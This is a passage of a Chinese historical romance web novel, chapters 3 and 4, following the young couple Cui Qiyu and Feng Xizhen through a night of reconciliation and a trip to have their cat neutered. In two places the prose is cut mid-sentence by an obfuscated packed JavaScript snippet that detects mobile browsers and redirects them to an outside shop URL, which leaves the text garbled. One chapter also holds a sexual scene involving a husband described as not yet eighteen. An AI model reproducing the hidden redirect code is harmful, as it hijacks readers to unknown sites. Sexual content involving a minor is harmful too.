《闲人闲处闲》 3. 〇三 崔其玉呼吸一滞,夜色中,只听见心脏砰砰跳动。许久,他才轻微动了动头颅,试图在黑暗中辨清枕边人。 “娘子,你在哪处见到我?” 冯希真听他反过来问起她,不觉怄气:“我正是要你自己坦白,你反倒问起我来。” 崔其玉听她口吻不悦,心上悬的石头终于坠下,喉结滚动下说:“我……我知错了。” 一上来就认错,冯希真挑起眉,继续问:“错在哪儿?” “我不该跟踪娘子,但遇着耿元良后我就停下了。” 跟踪她? 冯希真怎么也没想到会问出这等事来,她即刻伸手将他脸掰过来,崔其玉顺势侧过身,嗅到她身上的气息时,原本想要屏住的气息反而没忍住仔细嗅了嗅。 好香,为何她的澡豆总是这般香? 崔其玉因心猿意马,有一瞬失神,连认错的事都抛之脑后,还是冯希真再开口他才回过神来。 “怎么不说了?” “我——”崔其玉想着朝她面前贴近几分,老老实实地认起错,“我原是想看娘子出门是去见谁,便易容尾随,可不想还是教人认出来……” 冯希真一听这话,明白过来他换衣裳的缘由,又问:“那松黄豆糕又是怎么回事?” 崔其玉想到早间那份豆糕,解释道:“早间我确是买来份松黄豆糕,不过遇到个酒鬼,竟将酒撞翻洒在上头,毁了那些糕点,我再回酥山坊时容娘子说已售罄,让我明日再去。” 原来如此。 冯希真心头那股莫名憋了半日的气总算消散,但她还是教他这解释中另一事气笑来,这时揪住问他:“那你觉得我是去见谁的?” 崔其玉不敢吭声,直到冯希真忽地垂下放在他脸颊上的手,他才伸手抓住她的手腕,忙说:“疑心娘子原是我心胸狭隘,今后不会了,还请娘子不要生气。” 声音委屈巴巴,反倒像是她欺负了人,冯希真没好气,不过想到今日她也曾疑心他,便又觉得兴许没道理生气。 她只试探般问:“那你昨夜便是为我每日早间出去一事怄气?” “我没怄气。”崔其玉矢口否认。 “当真?” 只不过轻轻质问一句,崔其玉便不敢嘴硬,只捏捏她的手腕,什么也不说,就叫她声:“娘子。” 冯希真一听他撒娇般的口吻就没了脾气,但她还是将手从他掌中抽出,说:“睡了。” 崔其玉没应声,身侧的人翻身平躺下,而他依旧侧躺,一面又不着痕迹地靠近几寸。 冯希真不习惯用硬枕,自小便用棉花填的枕头,成亲后住在左相府,她先将就用了段时日硬枕,只觉脖颈受罪,这才换了软枕。 而崔其玉也随之换了枕头,起初他还不习惯,后来便觉得软枕极好,可以一点点挪去她那边,而不用牢牢枕在硬枕低凹处。 眼下他越靠越近,温热的呼吸落在冯希真耳畔,冯希真不由得想到昨夜与他在浴池中闹腾的事,耳廓一热。 成婚虽有九月,但住在左相府上时,她与崔其玉同床半年之久也从未行过床笫之事,她想许是因为此人年纪还小,不懂此事,而她虽看过些话本与避火图,但对此也并非那般好奇,故从未与他提过此事。 直到今年开春他们搬来漪园后,没几日他便红着脸问起,可否与她做夫妻间才做的那事,问得好不直白,她又没道理回绝,而后便顺其自然地同他有了夫妻之实。 许是这缘故,这两三月间他们比此前半年倒亲昵不少,冯希真也早知道此人才不是不懂事。 也是,他也快十八了,早就不是个孩子。 这时她耳廓热烘烘的,身体也渐渐升起些热意,好在没有点灯,并没觉得羞涩,反而是低声对耳畔那人说:“今夜不许闹太晚。” 崔其玉一听这话,当下含含糊糊应上声,一颗脑袋缓缓贴过去。 暗色里传出窸窸窣窣的声音,被衾原本盖在身上,但随后教人挤到一旁去。 春夜渐渐升温,冯希真一只手揪着教人挤到一旁的被衾,另一只手轻轻抚摸着崔其玉的后脑。 他很乖,有时候冯希真会觉得他像只猫,瞧着漂亮,平日里流露出一股不与人亲近的高傲劲儿,但私下里很是亲人,而这只猫似乎比别的猫还要亲人。 冯希真任由猫舔舐着她,但猫似乎有些得寸进尺,连牙也用上,她便惩罚似的用力捏了捏猫的耳朵,猫哼哼声,这才听话些。 她又顺手将手搭回猫脑袋上,起初胳膊弯折,随后一点点伸展开,近乎伸直…… 除了有些酥痒湿热外,冯希真只觉舒适,此前两个多月里,他从未像今夜这般做过,真不知又是从哪儿学来的? 想到这里,她忍不住问他:“崔其玉……你不会与旁人做这种事的罢?” 崔其玉百忙中回她句:“不要。” 她问会不会,他却说不要,根本就是答非所问。 但冯希真一时顾不得计较,只是微微扭动腰肢,以缓解那种奇异的感觉,不过双腿一动,就教两只手禁锢住。 “崔其玉……”冯希真又想捏他耳朵,但下一刻便浑身一软。 许是头一回的缘故,两人又磨磨蹭蹭好长时间,全然忘了此前说过今夜不许闹太晚的话,等崔其玉忙完后,还想动作,冯希真便面红耳热踢开他,说:“我累了。” 崔其玉有几分委屈,他今夜连衣裳都还没脱。 但他闻言还是小心翼翼为她擦了擦身子,随后为她掩上衣衫,一把扯回被子盖住她,自己则接着晾在外边儿。 冯希真也觉得她有几分不厚道,可就算是慢吞吞折腾半晌,也该累了,她便牵起被角将人一同罩住,说:“当心着凉。” 崔其玉感觉像是被她拥抱住,更觉难受,正想试试看与她撒娇,结果这时冯希真不知有意还是无意地同他说了句话,原本的势头即刻一落千丈。 她说:“近日该寻个时间带踏雪去净猫园了……” 踏雪是他们今年开春时在京城外一处山庄里捡回来的猫,如今已有半岁,总算到了能阉割的年纪。 崔其玉闻言动了动脑袋,忽然间没那么难受。 希真为何要这时说这话? 冯希真却已迷迷糊糊睡了过去。 一觉醒来,已经快日上三竿,冯希真揉揉眼睛,一睁眼便见面前躺着崔其玉。 面庞白皙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361257|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如玉,容貌精致如画,眼眸清澈漂亮,冯希真不由得想起携月说他看她时双眼发光的事来,她笑了笑,问他:“醒了怎么不起来?” “想看看娘子。” 冯希真闻言竟耳热一阵,觉得这人嘴更甜了几分,但想起昨夜他用嘴巴做了些什么,立时面颊酡红坐起身来。 崔其玉跟着起身,没事人般问她:“娘子今日穿什么衣裳?” “前几日新送来的青罗褙子可以穿了,里头的裙子你替我挑件便是。” 崔其玉便穿着里衣下床,依言去给她寻衣裳。 虽才成亲不足一年,但冯希真已经有些记不清是从几时开始崔其玉每日都要问询她穿什么衣裳的事了。 起初她还说得清清楚楚,后来便越来越随意,有时早间惫懒,不愿理人,崔其玉便自己挑一身衣裳放在屏风上。几次过后,冯希真便发觉这位小公子的审美甚合她意,想来也是,整日与丹青笔墨打交道的人又怎会不懂穿衣一事。 这日崔其玉为她挑选好一条菱格裙,腰带和首饰也一并挑好,冯希真穿上甚是满意地转上圈。 回头看崔其玉,他也已换上了那日送来的新衣,他穿衣一向鲜艳,不过这身新衣与她这身绿相近,较为清淡,穿在身上整个人身形颀长挺拔,漂亮得像棵小松。 冯希真不禁笑了笑:“既然我们都穿上新衣,不妨就趁今日带踏雪去净猫园一趟?” “……” 这种事需用穿新衣去吗? 崔二公子心头这般想,但面上乖乖巧巧点头。 于是,随意用过早膳后两人就将踏雪放进一只猫笼里,带上携月与一个平日专门照料猫儿的侍女一同出园去。 近来天气极好,街头行人如织,而这时节街头随处可见卖花的小摊贩。 冯希真不喜车马出行,眼下走在街头瞧着那些卖花人,不禁愉悦几分,对身旁人道:“从前在杭州时,我也常跟邻人去街头卖花。” 崔其玉头回听她说这事,问:“你在杭州时,爹不是已经做了知州吗,怎会有卖花的邻人?” 他说的爹自然是冯望川,冯希真听后转过头来。 她头戴一顶白色帷帽,隔着轻纱有些讶异地看他,没想到崔其玉竟还知道她爹这些年做过什么官,她还以为此人除了风雅之事,别的事一概不知。 不过好歹也是他半个爹了,知道才是人之常情罢? 这么想着,她答他:“虽是做了州官,邻人也很富足,但这天下总有许多人念旧的……” 她便将昔日住在杭州的事说来给崔其玉听。 以往冯望川在杭州做官时,她们一家三口在官衙外不远处租了间小宅院,邻人是当地的秀才,平日在书院教书,而邻人家中有个老母亲,从前住在乡下时,她日日背着时令蔬果或鲜花到城中售卖,便这样抚养孩儿长大,后来孩儿接她住进城中,她反倒不习惯,每日定要从其他乡人那儿买来一篓蔬果鲜花去街头卖,而那时冯希真闲来无事,就总跟着她去卖花。 她说话时,崔其玉目光落在她的帷帽上,也不管冯希真的脸全教帽檐遮挡住,只满脑子想象着她从前卖花的模样。 好喜欢啊,希真。 4. 〇四 净猫园位于城南一条长街上,时人多养猫犬,饲养飞禽奇兽的亦不少,而这条长街正是出售飞禽猫犬的地方,除此外亦售些猫食狗食,亦有为猫犬修剪毛发或染色的地方。 街道司每日清洁查检,故而此处虽多禽兽,但算不上脏乱,只不过有些盖不住的异味罢了。 冯希真自幼跟随父亲在外,去过不少脏乱地方,且她昔日种花还浇过肥水,故走在其间并不觉得这异味妨碍到她。 不过崔其玉却是头回来此,以往他也养一只猫,但只是同它玩会儿,哪里会特地来这种地方,这时走在这街巷中,不自觉地皱起眉来。 崔二公子皱眉头意味着他并不高兴,但他见冯希真还在兴致勃勃左右张望,想要挽留她候在外头等携月她们的话吞了回去,试图憋着气进去。 可还没走出几步,冯希真便拽了拽他的衣袖,道:“你瞧那只狮猫,是不是有些像卧云?” 卧云便是崔其玉养的那只猫,是只白色长毛狮猫,双眼异瞳,一金一蓝,极漂亮。 性子也有几分像主人,平日里也不与园中其他几只猫往来,尤其是那只白色短毛猫,似乎觉得它生得丑。 崔其玉原还憋着气,这时闻言看去,忍不住否认句:“不像。” 在崔其玉眼中,卧云就是世上最漂亮的猫。 冯希真早便发觉了这点,这时听得他回答觉得好笑,便只抿嘴一笑收回目光。等到路过卖小鱼干的小摊前,又叫来携月,两人停在摊前买了些鱼干,买完鱼干,又觉不能厚此薄彼,毕竟园中还有两条狗,遂又另寻一处小摊买来两根骨头。 因而,还没走到净猫园携月手里就拎了不少猫狗用物,而喂猫的侍女青鹭先她们一步将踏雪带去净猫园中。 净猫的是个二十七八岁的娘子,此处净猫园就是她与丈夫一同开下的,因净猫时恐会引起猫儿惊恐,大多数人都愿来外头净猫,免得猫此后不肯归家。 冯希真早些时候就来过几回,因而认得她,随众人唤她声闵娘子,不过净猫园倒不是只阉猫犬,也是会给猫犬治病的,否则哪能常来。 三人来时闵娘子已经给踏雪服下些麻沸汤,眼下正抓着踏雪,本是要好好安抚它一番,然而冯希真一来,她目光便落向院中站着的青衣少年郎身上,一边翘望,一边笑眯眯对身旁的冯希真道:“这就是传闻中的崔二公子啊,希真妹妹还真是积了德。” “积了德?” “你若不带他来,姐姐上哪儿去见这般标致的小郎君?还真是饱了眼福。” 闵娘子一贯语带调侃,知晓冯希真不会因她这话觉得冒犯。 冯希真抬眼看了看那人,忍俊不禁。 某人一进这院中,也不跟着她,径直就站去院中养的几丛栀子花前,她直到这时才想到原来这处的异味会教他受不了,可他竟还是一声不吭地跟了来。 闵娘子收回目光,见她笑,这才正色几分道:“看来妹妹成亲后也过得很愉悦。” 冯希真想了想,只说:“还算合意。” 闵娘子便一副嗔怪模样看她:“你若还不知足,我便不要活了。”说罢才笑呵呵看起手底下那只猫。 踏雪之所以叫踏雪,是因它通身黑毛,只有四足雪白。闵娘子看它时,它还一副懵懂模样教人摆弄着,她忍不住多摸几下它,安抚几句,看罢见时辰差不多,便叫来人忙活起净猫的事。 冯希真这才踱步去栀子花丛前,一走近,便用一副似笑非笑的模样看崔其玉,并不说话。 崔其玉立在花丛前,原是借枝上几朵还未绽放的栀子压制鼻息间的怪异气味,见她这副似笑非笑的模样,心底奇怪,到底还是问出声:“娘子为何这般看我?” “总觉得有人好似不高兴。” 崔其玉忙摇摇头。 “又没说是你。” “……” 冯希真见他一副吃瘪表情,莞尔一笑:“不喜欢这里怎不直说?倒像是我不关心你。” 听她这么说,崔其玉忙否认:“我知娘子关心我的。” 这倒教冯希真有些不好意思,毕竟她还真没想着关心他,不仅没有一发现这事就想带他离开这里,反而还想调笑他一番,可他是自己要这般乖的。 她想着,索性蹲身从那栀子丛中折下一朵花苞来,递出。崔其玉愣愣接过花苞,放到鼻息间嗅了嗅。 冯希真觉得他这样有几分痴相,想到什么,问他:“我适才可是辣手摧花了?” “花开堪折直须折,怎会是辣手摧花?” 都不是自己家的花,他倒会替人慷慨。冯希真想着笑道:“你若实在不喜这里,便先去外头透透气,这里还需等等。” “我就在这里等娘子。” 冯希真眯了眯眼,左右看看,见没人瞧他们,便要他低下头,崔其玉试探着垂下头颅,然后脑袋就教冯希真轻轻拍了拍。 他一时也顾不得觉得气味熏天,只觉得心脏跳得厉害。 希真为何要拍他? 但好像很舒服。 不过,冯希真这头刚拍完脑袋就听见踏雪在喵喵叫,收回手便回闵娘子那头,丢下她方才还觉得乖巧的某人。 为了少让踏雪吃些苦头,冯希真问闵娘子可否再多为它用些麻沸汤,但闵娘子冷酷回绝,说该用多少便用多少,多则易伤,冯希真只好在一旁怜爱看它。 晴日里天光好,闵娘子就在院中操刀,院中除了她丈夫,还有个帮工,三人快便将踏雪四只爪子都轻裹住,再用一块儿布将它裹作一团蚕蛹,只露出下半身。 踏雪约莫感觉到不安,但麻沸汤又教它昏昏欲睡,便只喵了两声。 冯希真与两个侍女便站在它身后看着,只见闵娘子手起刀落,好不利索地划了刀,踏雪便嗷嗷两声,叫声惨烈,冯希真心都提到嗓子眼,一把抱住携月的胳膊。 花丛前立着的崔其玉瞧见这一幕,抿了抿唇。 他怎么没想到?若是站在她身旁的是他,她应当抱住他才是。 崔其玉一时也不介意什么讨厌气味,捏着那朵冯希真摘给他的栀子花走了过去,冯希真瞥见她过来,挑眉松开携月。 “你怎么过来了?” 这地方他定是会嫌脏的。 “我见你害怕……” 他话音才落下,就听女人笑了声,不是闵娘子又是谁,只听她道:“崔公子,那你担心得可晚了,我这儿药都快上好来。” 闵娘子的竹刀使得利索,全程不过几息罢了,一放下竹刀便将踏雪伤口里的积血挤干净,眼下接过丈夫递来的瓷瓶,已为踏雪上好了药。 崔其玉因听见她说话看将去,正好瞧见帮工捡起从踏雪身上摘下来的东西,其上沾着血,他不免僵了一阵。 冯希真见他好像不大对劲,便将人拽了拽,自己对闵娘子说:“就知闵娘子技艺高超,那想必万事安好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361258|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不了几日就能痊愈罢?” 闵娘子便不打趣崔其玉,只道:“只要你们看管好它,按我说的做,保管五日内就能痊愈。” 青鹭已上前瞧看踏雪,许是麻沸汤的效用,这时它没有因为伤痛而激烈挣扎,只是恹恹地喵喵叫,闵娘子的丈夫又端来盆清水,她边洗手边对青鹭嘱咐起此后几日的喂养事宜。 冯希真则将崔其玉拉到一旁,凑近看他:“崔其玉,你怎么了?” 他适才一走近脸色就变得有些不对劲,还说什么见她害怕,她看是他害怕才对。 崔其玉不想她竟有所察觉,忙摇头说没什么,只不过否认得太快,一看便知是假话。 冯希真想了想,没再问他。 毕竟,人人都有秘密。崔其玉有不想告诉她的事,她也有不想告诉他的事,不是吗? 带踏雪回漪园的路上,气氛似乎没有来时那般融洽。 崔其玉倒是已经缓过神来,只不过他怕血一事,他仍不想教冯希真知晓。 他本就不及大哥聪明有能耐,若还这般胆小,他便更比不上大哥了。 想到这里,他难免又有些低落,偏头看冯希真,帽檐依旧将人挡着,但她似乎也不像早间出门时那般有兴致,从净猫园里出来后就鲜少说话。 崔其玉抿了抿唇,想寻些话说,便是在他苦苦思索时,一架经过他们的马车停下,车上一人探出头来叫两人名字。 “其玉?希真?” 两人纷纷驻足,扭头看去,车上一个瞧着才二十岁出头的娘子坐着,此时扶着车窗冲二人笑出对梨涡来,道,“真是凑巧,正要去找你们,这下倒省了我一顿跑。” 此人原是崔其玉一位堂姐,名唤崔巧君,父亲是大理寺卿,她如今的夫家倒与冯希真家中有点关系,是她嫂嫂的堂兄,今在翰林院做了个编修,算来和崔其书还是同僚。 不过这中弯弯绕绕太多,冯希真与她实际并不相熟,至于崔其书,看起来似乎与这位堂姐也不甚相熟,但人家这般热情,冯希真自然也卷起帷帽,露出笑吟吟的模样问她:“姐姐找我们有何要紧事?” 崔巧君听后表示:“说要紧也不是太要紧,只不过半月后就是煦儿周岁宴,要到你们那儿递封书简。” 她说完,低头翻找下什么,随后一手将一封请帖从马车内递出。 在人看来,这般举动当是鲁莽无礼数的,但崔巧君做得自然,只一副当真高兴能少跑一趟的模样。 冯希真倒觉得她挺有意思,接过请帖应承下,而后就听崔巧君说还要去别家送请帖便先告辞的话。 等马车缓缓离去,冯希真才转头看崔其玉,见他垂眉,直说道:“事是我应承下的,你若不愿去,到时候我与娘同去便是。” 她说的娘当然是指崔其玉的娘程简和,崔巧云是她夫侄,周岁宴程简和定是会去的,冯希真觉得随她去反而更省事。 但崔其玉一听这话,忙回道:“要去!” “去就去,这么大声做什么?” “……” 他又吃瘪,冯希真笑了笑,说:“饿了,回家。” 一听这话,崔其玉才然的低落便也荡开几分,满心想着冯希真说的回家二字。 如今,他与希真已是家人,他定会做个懂事又可靠的丈夫的。 正这般想,懂事的丈夫便因恍惚踩到什么,低头看时,整个人周身都腾起不悦的气息来。